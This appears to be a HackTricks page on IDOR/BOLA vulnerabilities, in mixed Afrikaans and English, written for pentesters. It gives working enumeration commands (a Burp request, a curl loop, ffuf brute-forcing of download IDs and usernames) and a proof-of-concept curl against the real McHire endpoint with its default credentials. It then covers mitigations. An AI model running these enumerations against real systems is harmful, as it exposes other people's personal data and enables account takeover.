IDOR (Insecure Direct Object Reference)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) verskyn wanneer ân web- of API-endpoint ân gebruiker-beheerde identifier openbaar of aanvaar wat direk gebruik word om toegang te kry tot ân interne objek sonder om te verifieer dat die oproeper gemagtig is om daardie objek te benader/wysig. Suksesvolle uitbuiting stel gewoonlik horizontale of vertical privilege-escalation in staat soos die lees of wysig van ander gebruikers se data en, in die ergste geval, full account takeover of mass-data exfiltration.
1. Identifiseer potensiële IDORs
- Look for parameters that reference an object:
- Path:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - Query:
?id=42,?invoice=2024-00001 - Body / JSON:
{"user_id": 321, "order_id": 987} - Headers / Cookies:
X-Client-ID: 4711
- Gee voorkeur aan endpoints wat data lees of opdateer (
GET,PUT,PATCH,DELETE). - Let op wanneer identifiseerders opvolgend of voorspelbaar is â as jou ID
64185742is, bestaan64185741waarskynlik. - Verken verborge of alternatiewe vloei (bv. âParadox team membersâ link in login pages) wat addisionele APIs kan openbaar.
- Gebruik ân authenticated low-privilege session en verander slegs die ID terwyl jy dieselfde token/cookie behou. Die afwesigheid van ân autorisasiefout is gewoonlik ân teken van IDOR.
Vinnige handmatige manipulasie (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Outomatiese enumerasie (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
Enumerating predictable download IDs (ffuf)
Geverifieerde file-hosting-panele berg dikwels per-gebruiker metadata in ân enkele files tabel en stel ân download-endpoint bloot soos /download.php?id=<int>. As die handler slegs nagaan of die ID bestaan (en nie of dit aan die geverifieerde gebruiker behoort nie), kan jy die heelgetalruimte met jou geldige session cookie afsoek en ander tenants se backups/configs steel:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-frverwyder 404-styl templates sodat net werklike treffers oorbly (bv. IDs 54/150 leaking volle webwerf-rugsteun en ondertekeningsmateriaal).- Dieselfde FFUF-werkvloei werk met Burp Intruder of ân curl-lusâsorg net dat jy geauthentiseerd bly terwyl jy IDs verhoog.
Fout-respons-orakel vir gebruiker-/lĂȘer-enumerasie
Wanneer ân download-endpoint beide ân username en ân filename aanvaar (e.g. /view.php?username=<u>&file=<f>), lei subtiele verskille in foutboodskappe dikwels tot ân orakel:
- Nie-bestaande username â âUser not foundâ
- Ongeldige filename maar geldige uitbreiding â âFile does not existâ (soms lys dit ook beskikbare files)
- Ongeldige uitbreiding â valideringsfout
Met enige geauthentiseerde sessie kan jy die username-parameter fuzz terwyl jy ân onskadelike filename hou en filter op die âuser not foundâ string om geldige gebruikers te ontdek:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Sodra geldige gebruikersname geĂŻdentifiseer is, versoek spesifieke lĂȘers direk (bv., /view.php?username=amanda&file=privacy.odt). Hierdie patroon lei gewoonlik tot ongemagtigde openbaarmaking van ander gebruikers se dokumente en credential leakage.
2. Werklike Gevallestudie â McHire Chatbot Platform (2025)
Tydens ân assessering van die Paradox.ai-powered McHire recruitment portal is die volgende IDOR ontdek:
- Eindpunt:
PUT /api/lead/cem-xhr - Autorisasie: gebruikersessiekoekie vir enige restaurant-toetsrekening
- Body parameter:
{"lead_id": N}â 8-syfer, opeenvolgende numeriese identifiseerder
Deur die lead_id te verlaag het die tester willekeurige aansoekers se full PII (naam, e-mail, telefoon, adres, skofvoorkeure) opgehaal, plus ân verbruiker JWT wat session hijacking toegelaat het. Enumeration van die reeks 1 â 64,185,742 het ongeveer 64 million rekords blootgestel.
Proof-of-Concept request:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
In kombinasie met default admin credentials (123456:123456) wat toegang tot die toetsrekening gegee het, het die kwesbaarheid ân kritieke, maatskappy-wye databreek tot gevolg gehad.
3. Impak van IDOR / BOLA
- Horizontale eskalasie â lees/opdateer/verwyder ander gebruikers se data.
- Vertikale eskalasie â ân laaggeprivilegieerde gebruiker kry admin-only funksionaliteit.
- Massadatabreek indien identifiseerders sekwensieel is (bv. aansoeker-IDâs, fakture).
- Rekeningoorname deur tokens te steel of die wagwoorde van ander gebruikers te reset.
4. Mitigasies & Beste praktyke
- Dwing object-level authorization af op elke versoek (
user_id == session.user). - Gee voorkeur aan indirect, unguessable identifiers (UUIDv4, ULID) in plaas van auto-increment IDs.
- Voer authorization server-side uit; moenie op versteekte formvelde of UI-beheerlelemente staatmaak nie.
- Implementeer RBAC / ABAC kontroles in ân sentrale middleware.
- Voeg rate-limiting & logging by om enumerasie van IDâs te ontdek.
- Voer sekuriteitstoetse uit op elke nuwe endpoint (unit-, integrasie- en DAST).
5. Tooling
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
Verwysings
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicantsâ PII
- OWASP Top 10 â Broken Access Control
- How to Find More IDORs â Vickie Li
- HTB Nocturnal: IDOR oracle â file theft
- 0xdf â HTB Era: predictable download IDs â backups and signing keys
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

